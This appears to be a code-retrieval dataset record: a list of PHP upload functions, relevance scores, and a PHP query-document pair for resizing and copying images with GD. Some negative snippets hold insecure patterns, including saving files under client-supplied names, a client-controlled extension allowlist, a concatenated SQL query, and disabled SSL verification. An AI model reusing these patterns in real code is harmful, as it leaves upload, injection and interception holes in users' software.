"private function uploadPhoto()\n {\n try\n {\n \n $request = $_POST;\n\n //check if user logged in\n if(!userid())\n throw_error_msg( lang(\"you_not_logged_in\") ) ;\n\n //check if title provided\n if( !isset($request['photo_title']) || $request['photo_title']==\"\")\n throw_error_msg(\"photo_title not provided\");\n else\n $insert_array['photo_title'] = mysql_clean($request['photo_title']);\n\n //check if description provided\n if( !isset($request['photo_description']) || $request['photo_description']==\"\")\n throw_error_msg(\"photo_description not provided\");\n else\n $insert_array['photo_description'] = mysql_clean($request['photo_description']);\n\n //check if tags provided\n if(!isset($request['photo_tags']) || $request['photo_tags']==\"\")\n throw_error_msg(\"photo_tags not provided\");\n else\n $insert_array['photo_tags'] = mysql_clean($request['photo_tags']);\n\n //check if collection provided\n if(!isset($request['collection_id']) || $request['collection_id']==\"\")\n throw_error_msg(\"collection_id not provided\");\n elseif(!is_numeric($request['collection_id']))\n throw_error_msg('invalid collection_id');\n else\n $insert_array['collection_id'] = mysql_clean($request['collection_id']);\n\n if(!isset($_FILES['photo_file']))\n throw_error_msg(\"photo file not provided\");\n\n $info = pathinfo($_FILES['photo_file']['name']);\n \n $extension = strtolower($info['extension']);\n\n $tmp_file = FILES_DIR.'/temp/temp_photo_'.time().'.'.$extension;\n \n @move_uploaded_file($_FILES['photo_file']['tmp_name'], $tmp_file);\n\n $photo_upload_url = BASEURL.\"/actions/photo_uploader.php\";\n\n $post_array['plupload'] = 'yes';\n $post_array['name'] = $_FILES['photo_file']['name'];\n $post_array['file'] = '@'.$tmp_file;\n \n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL,$photo_upload_url);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post_array);\n \n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $server_output = curl_exec ($ch);\n\n curl_close ($ch);\n \n $output = json_decode($server_output,true);\n\n if(isset($output['error']))\n {\n throw_error_msg( $output['error'] ) ;\n }\n else\n {\n //get ouput \n /*$insert_array['filename'] = $output['filename'];\n \n $insert_array['folder'] = createDataFolders(PHOTOS_DIR);*/\n $post_insert_array['insertPhoto'] = 'yes';\n $post_insert_array['photo_title'] = $insert_array['photo_title'];\n $post_insert_array['photo_description'] = $insert_array['photo_description'];\n $post_insert_array['photo_tags'] = $insert_array['photo_tags'];\n $post_insert_array['collection_id'] = $insert_array['collection_id']; \n $post_insert_array['file_name'] = $output['file_name'];\n $post_insert_array['title'] = $info['filename']; //$_FILES['photo_file']['name'];\n $post_insert_array['ext'] = $output['extension'];\n $post_insert_array['userid'] = userid();\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL,$photo_upload_url);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post_insert_array);\n \n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $server_output = curl_exec ($ch);\n\n curl_close ($ch);\n \n $output = json_decode($server_output,true);\n \n if(isset($output['success']))\n {\n global $cbphoto;\n\n $photo = $cbphoto->get_photo($output['photoID']);\n $cbphoto->collection->add_collection_item($photo['photo_id'],$photo['collection_id']);\n \n $photo_details = format_photos( array($photo) );\n }\n else\n {\n throw_error_msg( $output['error'] ) ; \n }\n\n $data = array('code' => \"200\", 'status' => \"success\", \"msg\" => \"success\", \"data\" => $photo_details);\n $this->response($this->json($data));\n } \n \n }\n catch(Exception $e)\n {\n $this->getExceptionDelete($e->getMessage());\n } \n }",
"function upload() {\n $this->autoRender = false;\n if (!$this->request->is('post')) {\n $this->response->statusCode(405);\n echo json_encode(array('status' => 'Failure', \"message\" => 'Get Not Allowed'));\n return;\n }\n\n try {\n $result = $this->Image->save_to_redis($this->request);\n } catch (Exception $e) {\n $this->response->statusCode($e->getCode());\n $result = array('status' => 'Failure', 'message' => $e->getMessage());\n }\n\n echo json_encode($result);\n }",
"public function actionUpload()\n\t{\n\t\t$allowedExtensions = array('jpeg','jpg','bmp','png','tif','tiff');\n\t\t// max file size in bytes\n\t\t// this requires server settings as well: post_max_size, upload_max_filesize\n\t\t$sizeLimit = 20 * 1024 * 1024;\n\t\t\n\t\t$uploader = new qqFileUploader($allowedExtensions, $sizeLimit);\n\t\t\n\t\t// the temporary filename is based on uniqiq() which generates unique strings based on the time in microseconds\n\t\t$temporaryFileName = uniqid();\n\t\t$ext = pathinfo($_GET['qqfile'],PATHINFO_EXTENSION);\n\t\t$originalFilename = pathinfo($_GET['qqfile'],PATHINFO_BASENAME);\n\t\t\n\t\t$result = $uploader->handleUpload(Image::FULLIMAGETEMPPATH,$temporaryFileName, $ext);\n\t\t// to pass data through iframe you will need to encode all html tags\n\t\t\n\t\t/*\n\t\t * If the qqFileUploader in extensions is OK with the file, it will return a 'success' = true\n\t\t * this checks the result of the qqFileUploader, which means that the file was correctly uploaded\n\t\t * Else an error is printed.\n\t\t */\n\t\tif(isset($result[\"success\"]))\n\t\t{\n\t\t\t// if the cdbox value is defined, the highest CD will not be evaluated, but rather the user defined is used\n\t\t\t// allowes the user to override the CD where images are placed, should the user know how to use the _GET cdbox\n\t\t\tif(isset($_GET['cdbox']))\n\t\t\t{\n\t\t\t\t// the next cd and id values are created based on the function in the model\n\t\t\t\t// the CD and ID values are the next highest, eg id1000->id1001, on the highest cd value\n\t\t\t\t$nextCdId = Image::model()->nextCdId($_GET['cdbox']);\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t$nextCdId = Image::model()->nextCdId(false);\n\t\t\t}\n\t\t\t\n\t\t\t// new Image object\n\t\t\t$insertImage = new Image;\n\t\t\t// temporary image description to make it easy to find images with missing metadata\n\t\t\t// removed, users did not understand what it was.\n\t\t\t// $insertImage->kuvateksti = 'täydentämätön lisätty ' . date('r') . ' alkuperäinen tiedostonimi ' . $originalFilename;\n\t\t\t$insertImage->cd = $nextCdId['cd'];\t\t\t\n\t\t\t$insertImage->id = $nextCdId['id'];\n\t\t\t\n\t\t\t// inserts 'e' \"boolean\" value to all the tag fields\n\t\t\t$tags=Image::model()->tags();\n\t\t\tforeach($tags as $tag)\n\t\t\t{\n\t\t\t\t$insertImage->$tag='e';\n\t\t\t}\n\t\t\t// saves the file extension, based on the $_GET['qqfile']\n\t\t\t$insertImage->tiedostotyyppi=strtolower($ext);\n\n\t\t\t$exif = exif_read_data(Image::FULLIMAGETEMPPATH . $temporaryFileName . '.' . $ext, 'IFD0');\n\t\t\t// echo('{error:\"Exif komponenttia ei voitu lukea:\"}');\t\t\n\t\t\t\t\t\n\t\t\tif (isset($exif['DateTimeOriginal']))\n\t\t\t{\n\t\t\t\t// quick parse so it fits the database\n\t\t\t\t$exifDate = $exif['DateTimeOriginal'];\n \t\t$insertImage->pvm = substr($exifDate,0,4) . substr($exifDate,5,2) . substr($exifDate,8,2);\n \t\t$insertImage->aikavarma = 'k';\n\t\t\t} \n\t\t\telse\n\t\t\t{\n\t\t\t\t// blank date is needed so the image is not filtered out as deleted\n\t\t\t\t$insertImage->pvm = '00000000';\n\t\t\t}\n\t\t\t\n\t\t\t// saves the metadata to the database\n\t\t\t$insertImage->save();\n\t\t\t\n\t\t\t/*\n\t\t\t * for some reason this doesn't work;\n\t\t\t * $imageid = $insertImage->imageid; so this is a workaround.\n\t\t\t * It's probably a bug it doesn't work so if there's a later version, it's worth trying if it works.\n\t\t\t */\n\t\t\t$temp = Image::model()->findBySql(\"SELECT * FROM diat WHERE id = '\" . $nextCdId['id'] . \"' AND cd = '\" . $nextCdId['cd'] . \"';\");\n\t\t\t$this->actionAddToBasket($temp->imageid);\n\t\t\tunset($temp);\n\n\t\t\t// if the directory doesn't exist, it's created, the first '' is the cd base directory, eg /kuvat/9006/\n\t\t\t$subdirs = array('', '/96x64', '/192x128', '/384x256', '/768x512');\n\t\t\tforeach ($subdirs as $subdir)\n\t\t\t{\n\t\t\t\tif(!file_exists(Image::FULLIMAGEPATH . $nextCdId['cd'] . $subdir))\n\t\t\t\t{\n\t\t\t\t\tmkdir(Image::FULLIMAGEPATH . $nextCdId['cd'] . $subdir);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Moves the image to the proper location. \n\t\t\trename(\n\t\t\t\tImage::FULLIMAGETEMPPATH . $temporaryFileName . '.' . $ext, \n\t\t\t\t$insertImage->getImageFile('full', false, Image::FULLIMAGEPATH)\n\t\t\t);\n\t\t\t\n\t\t\t$insertImage->generateThumbnails();\n\t\t\t\t\n\t\t\t// success true JSON for the javascript upload plugin so it can se it's css correctly\n\t\t\techo('{success:true}');\n\t\t}\n\t\telse \n\t\t{\n\t\t\techo('{error:\"' . $result[\"error\"] . '\"}');\n\t\t}\n\t}",
"public function upload()\n{\n if(null === $this->getFile())\n {\n return;\n }\n\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n $this->filename =$this->getFile()->getClientOriginalName();\n\n $this->setFile(null);\n}",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // if there is an error when moving the file, an exception will\n // be automatically thrown by move(). This will properly prevent\n // the entity from being persisted to the database on error\n $this->getFile()->move($this->getUploadRootDir(), $this->fileName);\n\n // check if we have an old image\n if (isset($this->temp)) {\n // delete the old image\n unlink($this->getUploadRootDir().'/'.$this->temp);\n // clear the temp image path\n $this->temp = null;\n }\n $this->file = null;\n }",
"public function images_upload()\n\t{\n\t\t$args = phpSmug::processArgs( func_get_args() );\n\t\tif ( !array_key_exists( 'File', $args ) ) {\n\t\t\tthrow new PhpSmugException( 'No upload file specified.' );\n\t\t}\n\t\t\n\t\t// Set FileName, if one isn't provided in the method call\n\t\tif ( !array_key_exists( 'FileName', $args ) ) {\n\t\t\t$args['FileName'] = basename( $args['File'] );\n\t\t}\n\n\t\t// Ensure the FileName is phpSmug::urlencodeRFC3986 encoded - caters for stange chars and spaces\n\t\t$args['FileName'] = phpSmug::urlencodeRFC3986( $args['FileName'] );\n\n\t\t// OAuth Stuff\n\t\tif ( $this->OAuthSecret ) {\n\t\t\t$sig = $this->generate_signature( 'Upload', array( 'FileName' => $args['FileName'] ) );\n\t\t}\n\t\t\n\t\tif ( is_file( $args['File'] ) ) {\n\t\t\t$fp = fopen( $args['File'], 'r' );\n\t\t\t$data = fread( $fp, filesize( $args['File'] ) );\n\t\t\tfclose( $fp );\n\t\t} else {\n\t\t\tthrow new PhpSmugException( \"File doesn't exist: {$args['File']}\" );\n\t\t}\n\n\t\t// Create a new object as we still need the other request object\n\t\t$upload_req = new httpRequest();\n $upload_req->setMethod( 'PUT' );\n\t\t$upload_req->setConfig( array( 'follow_redirects' => TRUE, 'max_redirects' => 3, 'ssl_verify_peer' => FALSE, 'ssl_verify_host' => FALSE, 'connect_timeout' => 60 ) );\n\t\t$upload_req->setAdapter( $this->adapter );\n\t\t\n\t\t// Set the proxy if one has been set earlier\n\t\tif ( isset( $this->proxy ) && is_array( $this->proxy ) ) {\n\t\t\t$upload_req->setConfig(array('proxy_host' => $this->proxy['server'],\n\t\t\t\t\t\t\t 'proxy_port' => $this->proxy['port'],\n\t\t\t\t\t\t\t\t\t 'proxy_user' => $this->proxy['user'],\n\t\t\t\t\t\t\t\t\t 'proxy_password' => $this->proxy['password']));\n\t\t}\n\n\t\t$upload_req->setHeader( array( 'User-Agent' => \"{$this->AppName} using phpSmug/\" . phpSmug::$version,\n\t\t\t\t\t\t\t\t\t 'Content-MD5' => md5_file( $args['File'] ),\n\t\t\t\t\t\t\t\t\t 'Connection' => 'keep-alive') );\n\n\t\tif ( $this->loginType == 'authd' ) {\n\t\t\t$upload_req->setHeader( 'X-Smug-SessionID', $this->SessionID );\n\t\t} else {\n\t\t\t$upload_req->setHeader( 'Authorization', 'OAuth realm=\"http://api.smugmug.com/\",'\n\t\t\t\t.'oauth_consumer_key=\"'.$this->APIKey.'\",'\n\t\t\t\t.'oauth_token=\"'.$this->oauth_token.'\",'\n\t\t\t\t.'oauth_signature_method=\"'.$this->oauth_signature_method.'\",'\n\t\t\t\t.'oauth_signature=\"'.urlencode( $sig ).'\",'\n\t\t\t\t.'oauth_timestamp=\"'.$this->oauth_timestamp.'\",'\n\t\t\t\t.'oauth_version=\"1.0\",'\n\t\t\t\t.'oauth_nonce=\"'.$this->oauth_nonce.'\"' );\n\t\t}\n\t\t\t\n\t\t$upload_req->setHeader( array( 'X-Smug-Version' => $this->APIVer,\n\t\t\t\t\t\t\t\t\t 'X-Smug-ResponseType' => 'PHP',\n\t\t\t\t\t\t\t\t\t 'X-Smug-AlbumID' => $args['AlbumID'],\n\t\t\t\t\t\t\t\t\t 'X-Smug-Filename'=> basename($args['FileName'] ) ) ); // This is actually optional, but we may as well use what we're given\n\t\t\n\t\t/* Optional Headers */\n\t\tforeach( $args as $arg => $value ) {\n\t\t\tif ( $arg == 'File' ) continue;\n\t\t\t$upload_req->setHeader( 'X-Smug-' . $arg, $value );\n\t\t}\n\n\t\t//$proto = ( $this->oauth_signature_method == 'PLAINTEXT' || $this->secure ) ? 'https' : 'http';\t// No secure uploads at this time.\n\t\t//$upload_req->setURL( $proto . '://upload.smugmug.com/'.$args['FileName'] );\n\t\t$upload_req->setURL( 'http://upload.smugmug.com/'.$args['FileName'] );\n\t\t$upload_req->setBody( $data );\n\n //Send Requests \n\t\t$upload_req->execute();\n\t\t\n\t\t$this->response = $upload_req->getBody();\n\t\t\n\t\t// For some reason the return string is formatted with \\n and extra space chars. Remove these.\n\t\t$replace = array( '\\n', '\\t', ' ' );\n\t\t$this->response = str_replace( $replace, '', $this->response );\n\t\t$this->parsed_response = unserialize( trim( $this->response ) );\n\t\t\n\t\tif ( $this->parsed_response['stat'] == 'fail' ) {\n\t\t\t$this->error_code = $this->parsed_response['code'];\n $this->error_msg = $this->parsed_response['message'];\n\t\t\t$this->parsed_response = FALSE;\n\t\t\tthrow new PhpSmugException( \"SmugMug API Error for method image_upload: {$this->error_msg}\", $this->error_code );\n\t\t} else {\n\t\t\t$this->error_code = FALSE;\n $this->error_msg = FALSE;\n\t\t}\n\t\treturn $this->parsed_response ? $this->parsed_response['Image'] : FALSE;\n\t}",
"public function uploadProfilePicture()\n {\n // nécessaire de le nettoyer pour éviter les problèmes de sécurité\n\n // move copie le fichier présent chez le client dans le répertoire indiqué.\n $this->file->move($this->getUploadRootDir(), $this->file->getClientOriginalName());\n\n // On sauvegarde le nom de fichier\n $this->nomImage = $this->file->getClientOriginalName();\n\n // La propriété file ne servira plus\n $this->file = null;\n }",
"public function uploads() {\n $this->Authorization->authorize($this->Settings->newEmptyEntity(), 'create');\n if ($this->request->is(\"Ajax\")) {\n $is_dest = \"img/tmp/\";\n if (!file_exists($is_dest)) {\n //mkdir($is_dest, 0777, true);\n $dir = new Folder(WWW_ROOT . 'img/tmp/', true, 0755);\n $is_dest = $dir->path;\n }\n $fileData = $this->request->getData('file');\n if (strlen($fileData->getClientFilename()) > 1) {\n $ext = pathinfo($fileData->getClientFilename(), PATHINFO_EXTENSION);\n $allowedExt = array('gif', 'jpeg', 'png', 'jpg', 'tif', 'bmp', 'ico');\n if ($this->request->getData('allow_ext')) {\n $allowedExt = explode(\",\", $this->request->getData('allow_ext'));\n }\n if (in_array(strtolower($ext), $allowedExt)) {\n $upload_img = $fileData->getClientFilename();\n $ran = time();\n $upload_img = $ran . \"_\" . $fileData->getClientFilename();\n if (strlen($upload_img) > 100) {\n $upload_img = $ran . \"_\" . rand() . \".\" . $ext;\n }\n $upload_img = str_replace(' ', '_', $upload_img);\n $fileData->moveTo($is_dest . $upload_img);\n $data['filename'] = $upload_img;\n $data['image_path'] = $this->request->getAttribute(\"webroot\") . \"img/tmp/\" . $upload_img;\n $data['success'] = true;\n $data['message'] = \"file successfully uploaded!\";\n } else {\n $data['success'] = false;\n $data['message'] = \"invalid file type!\";\n }\n } else {\n $data['success'] = false;\n $data['message'] = \"invalid file!\";\n }\n }\n $this->set($data);\n $this->viewBuilder()->setOption('serialize', ['filename', 'image_path','success', 'message']);\n }",
"function uploadObject();",
"private function _imgUpload(){\r\n\r\n\r\n\r\n // It will always be called via ajax so we will respond as such\r\n $result = new stdClass();\r\n $response = 400;\r\n\r\n if($this->hasLogin()){\r\n\r\n /*\r\n \t*\r\n \t*\r\n \t*\tCheck the method used is POST\r\n \t*\r\n \t*\r\n \t*/\r\n \tif($_SERVER['REQUEST_METHOD'] == 'POST'){\r\n\r\n // Mime types of images allowed for upload\r\n $allowed_types = ['image/png', 'image/jpeg', 'image/gif'];\r\n\r\n\r\n\r\n // Something that will return the mime type\r\n $img = getimagesize($_FILES['image']['tmp_name']);\r\n\r\n\r\n\r\n // Get the extension\r\n $extension = pathinfo($_FILES['image']['tmp_name'],PATHINFO_EXTENSION);\r\n\r\n\r\n\r\n // Where is the image currently\r\n $sourcePath = $_FILES['image']['tmp_name'];\r\n\r\n\r\n\r\n // Potentially do a lookup on the mime type and set the extension ourselves\r\n $tmp_name = uniqid().'.'.$extension;\r\n\r\n // Move the image to a _tmp directory which will move again when saved\r\n $targetPath = ROOT.'/site/files/_tmp/'.$tmp_name;\r\n\r\n // This will be the path returned so the image can be displayed in the modal editor\r\n $webPath = WEBROOT.'/site/files/_tmp/'.$tmp_name;\r\n\r\n // Validate the mime type against the allowed array\r\n if(!in_array($img['mime'], $allowed_types)) {\r\n echo \"Only PNG, JPEG or GIF images are allowed!\";\r\n exit;\r\n } elseif(filesize($sourcePath) > 1000000) {\r\n echo \"You cannot upload an image larger that 1mb\";\r\n exit;\r\n }\r\n\r\n // Move the file to the _tmp directory for editing\r\n // return the weburl\r\n if(move_uploaded_file($sourcePath,$targetPath)){\r\n $result->url = $webPath;\r\n $response = 200;\r\n }\r\n\r\n }\r\n\r\n }\r\n // Return the response\r\n http_response_code($response);\r\n echo json_encode($result);\r\n exit;\r\n\r\n\r\n }",
"public function upload_profile_image() {\n\n // Verify Nonce\n $nonce = $_REQUEST['nonce'];\n if ( ! wp_verify_nonce( $nonce, 'em_allow_upload_profile_image' ) ) {\n $ajax_response = array(\n\t\t\t\t'success' => false ,\n\t\t\t\t'reason' => __( 'Security check failed!', 'EM' )\n );\n echo json_encode( $ajax_response );\n die;\n }\n\n $submitted_file = $_FILES['em_upload_file_name'];\n\n // Handle PHP uploads in WordPress, sanitizing file names, checking extensions for mime type,\n // and moving the file to the appropriate directory within the uploads directory.\n $uploaded_image = wp_handle_upload( $submitted_file, array( 'test_form' => false ) ); // TODO: What?\n\n if ( isset( $uploaded_image['file'] ) ) {\n\n \t// File's name.\n $file_name = basename( $submitted_file['name'] );\n\n // Retrieve the file type from the file name.\n $file_type = wp_check_filetype( $uploaded_image['file'] );\n\n // Prepare an array of post data for the attachment.\n $attachment_details = array(\n 'guid' => $uploaded_image['url'],\n 'post_mime_type' => $file_type['type'],\n 'post_title' => preg_replace( '/\\.[^.]+$/', '', basename( $file_name ) ), // TODO: What?\n 'post_content' => '',\n 'post_status' => 'inherit'\n );\n\n // This function inserts an attachment into the media library.\n $attach_id = wp_insert_attachment( $attachment_details, $uploaded_image['file'] );\n\n // This function generates metadata for an image attachment. It also creates a thumbnail\n // and other intermediate sizes of the image attachment based on the sizes defined.\n $attach_data = wp_generate_attachment_metadata( $attach_id, $uploaded_image['file'] );\n\n // Update metadata for an attachment.\n wp_update_attachment_metadata( $attach_id, $attach_data );\n\n // Returns escaped URL.\n $thumbnail_url = $this->get_profile_image_url( $attach_data );\n\n $ajax_response = array(\n\t\t\t\t'success' => true,\n\t\t\t\t'url' => $thumbnail_url,\n\t\t\t\t'attachment_id' => $attach_id\n );\n echo json_encode( $ajax_response );\n die;\n\n } else {\n $ajax_response = array(\n\t\t\t\t'success' => false,\n\t\t\t\t'reason' => __( 'Image upload failed!', 'EM' )\n );\n echo json_encode( $ajax_response );\n die;\n }\n\n\t}",
"public function createTouristSpot(){\n \t$filename = $_FILES['image']['name'];\n \tif(strlen($filename) > 4){\n $image_name = $this->_imageUpload();\n }else{\n \t$image_name = NULL;\n }\n\n $this->adminModel->createTouristSpot($image_name);\n redirect('admin/tourist-spot');\n }",
"public function saveImageToUser($image, $user);",
"private function uploadImage(){\n\t\treturn response(view('partials.templates.upload')->render(), 200);\n\t}",
"public function testSuccessUploadImage()\n {\n $file = UploadedFile::fake()->image('avatar.png');\n\n $response = $this->post(route('upload.image'), [\n 'file' => $file,\n ]);\n\n $response->assertStatus(200);\n }",
"public function actionUpload()\n\t{\n\n\t\t$input = craft()->request->getPost();\n\n\t\t$file = UploadedFile::getInstanceByName('file');\n\n\t\t$folder = craft()->assets->findFolder(array(\n\t\t 'id' => $input['id']\n\t\t));\n\n\t\tif ($folder) {\n\t\t\t$folderId = $input['id'];\n\t\t}\n\n\t\tcraft()->assets->insertFileByLocalPath(\n\t\t $file->getTempName(),\n\t\t $file->getName(),\n\t\t $folderId,\n\t\t AssetConflictResolution::KeepBoth);\n\n\t\tcraft()->end();\n\t}",
"function submitAuthorImage($conn, $authorID, $image) {\n\n $target_dir = \"uploads/report/authors\";\n if(!(is_dir($target_dir))){\n\tmkdir($target_dir);\n }\n \n $target_file = $target_dir . basename($image[\"name\"]);\n $uploadOk = 1;\n $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);\n\n// Check if image file is a actual image or fake image\n if(isset($_POST[\"submit\"])) {\n $check = getimagesize($image[\"tmp_name\"]);\n\tif($check !== false) {\n $uploadOk = 1;\n\t} else {\n $return = ['message' => \"File is not an image.\"];\n return $return;\n\t}\n }\n\t\n// Check if file already exists\n if (file_exists($target_file)) {\n unlink($target_file);\n }\n\n// Allow only jpg, png, gif and jpeg\n if($imageFileType != \"jpg\" && $imageFileType != \"png\" && $imageFileType != \"jpeg\"\n && $imageFileType != \"gif\" ) {\n\t$return = ['message' => \"Sorry, only JPG, JPEG, PNG & GIF files can be uploaded.\"];\n\treturn $return;\n }\n\n\t// if everything is ok, try to upload file\n if (move_uploaded_file($image[\"tmp_name\"], $target_file)) {\n $return = ['message' => \"The file \". basename( $image[\"name\"]). \" has been uploaded.\"];\n\t$sql = \"UPDATE author SET image = (:pictureURI) WHERE authorId = (:authorID)\";\n\t$sth = $conn->prepare($sql);\n\t$sth->bindParam(':authorID', authorID, PDO::PARAM_INT, 11);\n\t$sth->bindParam(':pictureURI', $target_file, PDO::PARAM_STR, 45);\n\t$sth->execute();\n\t$sth->closeCursor();\n\treturn $return;\n } else{\n $return = ['message' => \"Sorry there was an error uploading your file.\"];\n }\n}"
] | [
"0.75785315",
"0.74006283",
"0.7390722",
"0.7390722",
"0.7371537",
"0.7371537",
"0.7371537",
"0.7371537",
"0.7371537",
"0.7371537",
"0.73018646",
"0.723526",
"0.7229732",
"0.7214777",
"0.7196648",
"0.71960133",
"0.7190799",
"0.71811444",
"0.7174571",
"0.71737504",
"0.71523446",
"0.7147591",
"0.714305",
"0.71402055",
"0.7124356",
"0.7118476",
"0.71022683",
"0.71020305",
"0.7098142",
"0.7083483",
"0.7059095",
"0.70435286",
"0.7040573",
"0.69715965",
"0.6959233",
"0.69492805",
"0.6945455",
"0.6913983",
"0.6899401",
"0.6896647",
"0.6894048",
"0.68804204",
"0.6868888",
"0.683522",
"0.68330383",
"0.68274534",
"0.68262184",
"0.68180275",
"0.6815933",
"0.6808685",
"0.6797896",
"0.67831516",
"0.6776978",
"0.67734337",
"0.67719805",
"0.67603964",
"0.67513806",
"0.67482525",
"0.6747966",
"0.6743346",
"0.67401785",
"0.6735167",
"0.6729042",
"0.67140055",
"0.6705762",
"0.6684822",
"0.66817355",
"0.66756046",
"0.66660637",
"0.6657915",
"0.66561323",
"0.6629947",
"0.66242033",
"0.6617726",
"0.66064906",
"0.65957785",
"0.6593725",
"0.6593674",
"0.658384",
"0.6582314",
"0.65814507",
"0.6579623",
"0.6566618",
"0.6565278",
"0.65632015",
"0.65557015",
"0.65498954",
"0.6547393",
"0.65467703",
"0.654277",
"0.652961",
"0.651858",
"0.6516004",
"0.6512605",
"0.6508869",
"0.65032506",
"0.6501951",
"0.6493626",
"0.64931893",
"0.6489284",
"0.6487364"
] | 0.0 | -1 |
Copies a file and resizes it according to its limit (keeps scale) | public function resizeAndCopyImage($sourceFileName, $sourceFileExtension, $sourcePath = null, $destWidth, $destHeight, $destFileName = null, $destFileExtension = null, $destPath = null)
{
// If the destination file name is not set
if($destFileName == null)
{
$destFileName = $sourceFileName;
}
// If the fileextension is not set
if($destFileExtension == null)
{
$destFileExtension = $sourceFileExtension;
}
// If a custom path is not given to the destination
if($destPath == null)
{
$destPath = $sourcePath;
}
// Generate the paths for the images
$sourcePath = FileComponent::createFilePath($sourcePath, $sourceFileName, $sourceFileExtension, true);
$destPath = FileComponent::createFilePath($destPath, $destFileName, $destFileExtension, true);
$sourceFile = new File($sourcePath);
$sourceFileInformation = $sourceFile->info();
// Check if everything has one of the allowed file extension
$allowedExtensions = array("gif", "jpeg", "png");
if(!in_array($sourceFileExtension, $allowedExtensions) ||
!in_array($destFileExtension, $allowedExtensions) ||
!in_array($sourceFileInformation['extension'], $allowedExtensions))
{
return false;
}
// Fetch data about the image
list($sourceWidth, $sourceHeight, $sourceImageType) = getimagesize($sourcePath);
// Create an image in the cache according to the type
switch ($sourceImageType)
{
case IMAGETYPE_GIF:
$destGDImage = imagecreatefromgif($sourcePath);
break;
case IMAGETYPE_JPEG:
$destGDImage = imagecreatefromjpeg($sourcePath);
break;
case IMAGETYPE_PNG:
$destGDImage = imagecreatefrompng($sourcePath);
break;
}
if ($destGDImage === false)
{
return false;
}
// Calcluates the aspects of the old and the new image
$sourceAspectRatio = $sourceWidth / $sourceHeight;
$destAspecRatio = $destWidth / $destHeight;
// If the source image is smaller than the requested one
if ($sourceWidth <= $destWidth && $sourceHeight <= $destHeight)
{
$newWidth = $sourceWidth;
$newHeight = $sourceHeight;
}
// If the request image is wider than the source
elseif ($destAspecRatio > $sourceAspectRatio)
{
$newWidth = (int) ($destHeight * $sourceAspectRatio);
$newHeight = $destHeight;
}
// If the request image is taller than the source
else
{
$newWidth = $destWidth;
$newHeight = (int) ($destWidth / $sourceAspectRatio);
}
// Generate an image width the calculated width and height
$newGDImage = imagecreatetruecolor($newWidth, $newHeight);
// Resize (resample) the image
imagecopyresampled($newGDImage, $destGDImage, 0, 0, 0, 0, $newWidth, $newHeight, $sourceWidth, $sourceHeight);
// Check what output that is wanted
switch ($sourceImageType)
{
case IMAGETYPE_GIF:
imagegif($newGDImage, $destPath);
break;
case IMAGETYPE_JPEG:
imagejpeg($newGDImage, $destPath, 75);
break;
case IMAGETYPE_PNG:
imagepng($newGDImage, $destPath, 9);
break;
}
// Destroy the images in the cache
imagedestroy($destGDImage);
imagedestroy($newGDImage);
return true;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function copyResized() {\n\t\t\n\t\t$output = array();\n\t\t\n\t\t$options = array_merge(\n\t\t\tarray(\n\t\t\t\t'url' => '',\n\t\t\t\t'filename' => '',\n\t\t\t\t'width' => false,\n\t\t\t\t'height' => false,\n\t\t\t\t'crop' => false\n\t\t\t),\n\t\t\t$_POST\n\t\t);\n\t\t\n\t\t$width = $options['width'];\n\t\t$height = $options['height'];\n\t\t\n\t\tif (!((is_numeric($width) || is_bool($width)) && (is_numeric($height) || is_bool($height)))) {\n\t\t\t$output['error'] = Text::get('error_file_size');\n\t\t\treturn $output;\n\t\t}\n\t\t\n\t\tif ($options['filename']) {\n\t\t\n\t\t\t// Get parent directory.\n\t\t\tif ($options['url']) {\n\t\t\t\t$Page = $this->Automad->getPage($options['url']);\n\t\t\t\t$directory = AM_BASE_DIR . AM_DIR_PAGES . $Page->path;\n\t\t\t} else {\n\t\t\t\t$directory = AM_BASE_DIR . AM_DIR_SHARED . '/';\n\t\t\t}\n\t\t\n\t\t\t$file = $directory . $options['filename'];\n\t\t\n\t\t\tCore\\Debug::log($file, 'file');\n\t\t\tCore\\Debug::log($options, 'options');\n\t\t\t\t\n\t\t\tif (file_exists($file)) {\n\t\t\t\t\n\t\t\t\tif (is_writable($directory)) {\n\t\t\t\t\t\n\t\t\t\t\t$img = new Core\\Image(\n\t\t\t\t\t\t$file, \n\t\t\t\t\t\t$width, \n\t\t\t\t\t\t$height,\n\t\t\t\t\t\tboolval($options['crop'])\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t\t$cachedFile = AM_BASE_DIR . $img->file;\n\t\t\t\t\t$resizedFile = preg_replace('/(\\.\\w{3,4})$/', '-' . floor($img->width) . 'x' . floor($img->height) . '$1', $file);\n\t\t\t\t\t\n\t\t\t\t\tif (!$output['error'] = FileSystem::renameMedia($cachedFile, $resizedFile)) {\n\t\t\t\t\t\t$output['success'] = Text::get('success_created') . ' \"' . basename($resizedFile) . '\"';\n\t\t\t\t\t\t$this->clearCache();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t$output['error'] = Text::get('error_permission') . ' \"' . $directory . '\"';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t$output['error'] = Text::get('error_file_not_found');\n\t\t\t}\n\t\t\n\t\t}\n\t\t\n\t\treturn $output;\n\t\t\n\t}",
"function scale($inFile, $outFile, $width, $height) {\n if ($inFile == $outFile) {\n // cannot write to source file\n return FALSE;\n }\n $cmd = sprintf(\n '%s -i %s -sameq -s %dx%d %s',\n escapeshellcmd($this->encoder),\n escapeshellarg($inFile),\n escapeshellcmd($width),\n escapeshellcmd($height),\n escapeshellcmd($outFile)\n );\n $this->execCmd($cmd, $null, $info);\n }",
